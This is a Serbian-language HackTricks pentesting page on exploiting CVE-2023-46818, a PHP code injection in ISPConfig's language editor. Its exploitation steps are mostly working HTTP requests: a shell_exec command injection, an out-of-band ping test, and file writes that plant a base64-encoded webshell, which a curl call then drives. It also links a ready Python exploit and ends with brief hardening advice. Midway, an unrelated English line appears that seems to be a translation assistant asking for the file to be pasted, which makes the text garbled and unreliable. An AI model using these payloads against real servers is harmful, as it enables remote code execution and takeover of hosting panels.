ISPConfig

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pregled

ISPConfig je open-source kontrolni panel za hosting. Starije 3.2.x verzije su imale opciju urednika jezičkih fajlova koja, kada je omogućena za super administratora, dozvoljavala arbitrary PHP code injection putem malformiranog zapisa prevoda. Ovo može dovesti do RCE u kontekstu web servera i, u zavisnosti od načina izvršavanja PHP-a, privilege escalation.

Ključne podrazumevane putanje:

  • Web root se često nalazi na /var/www/ispconfig kada se servira sa php -S ili preko Apache/nginx.
  • Admin UI dostupan na HTTP(S) vhost-u (ponekad vezan samo za localhost; koristite SSH port-forward ako je potrebno).

Savet: Ako je panel vezan lokalno (npr. 127.0.0.1:8080), prosledite ga:

bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Language editor PHP code injection (CVE-2023-46818)

  • Pogođeno: ISPConfig do 3.2.11 (ispravljeno u 3.2.11p1)
  • Preduslovi:
  • Prijavite se kao ugrađeni superadmin nalog admin (prema dobavljaču, druge uloge nisu pogođene)
  • Uređivač jezika mora biti omogućen: admin_allow_langedit=yes u /usr/local/ispconfig/security/security_settings.ini
  • Uticaj: Autentifikovani admin može da ubaci proizvoljni PHP koji se upisuje u fajl jezika i izvršava od strane aplikacije, postižući RCE u web kontekstu

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

Ručna procedura eksploatacije

  1. Otvorite/kreirajte fajl jezika da biste dobili CSRF tokene

Pošaljite prvi POST da inicijalizujete formu i parsirate CSRF polja iz HTML odgovora (csrf_id, csrf_key). Primer putanje zahteva: /admin/language_edit.php.

  1. Injektujte PHP preko records[] i sačuvajte

Pošaljite drugi POST koji sadrži CSRF polja i maliciozni zapis prevoda. Minimalne provere za izvršavanje komandi:

http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band test (posmatrajte ICMP):

http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Kreiranje fajlova i postavljanje webshell-a

Koristite file_put_contents da kreirate fajl u web-dostupnoj putanji (npr., admin/):

http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Zatim napišite jednostavan webshell koristeći base64 da biste izbegli nepoželjne karaktere u POST telu:

http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

I don't have the contents of src/network-services-pentesting/pentesting-web/ispconfig.md. Please paste the file content you want translated (or attach it). I'll translate the English text to Serbian while keeping all markdown, code, links and tags unchanged as you requested.

bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Ako se PHP izvršava kao root (npr. preko php -S 127.0.0.1:8080 pokrenutog od strane root), ovo daje trenutni root RCE. U suprotnom, dobijate izvršavanje koda kao korisnik web servera.

Python PoC

Spreman za upotrebu exploit automatizuje rukovanje tokenima i isporuku payload-a:

  • https://github.com/bipbopbup/CVE-2023-46818-python-exploit

Primer pokretanja:

bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Pojačavanje bezbednosti

  • Ažurirajte na 3.2.11p1 ili noviju verziju
  • Onemogućite uređivač jezika osim ako nije neophodan:
admin_allow_langedit=no
  • Izbegavajte pokretanje panela kao root; konfigurišite PHP-FPM ili web server da spuste privilegije
  • Obezbedite snažnu autentifikaciju za ugrađeni admin nalog

Izvori

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks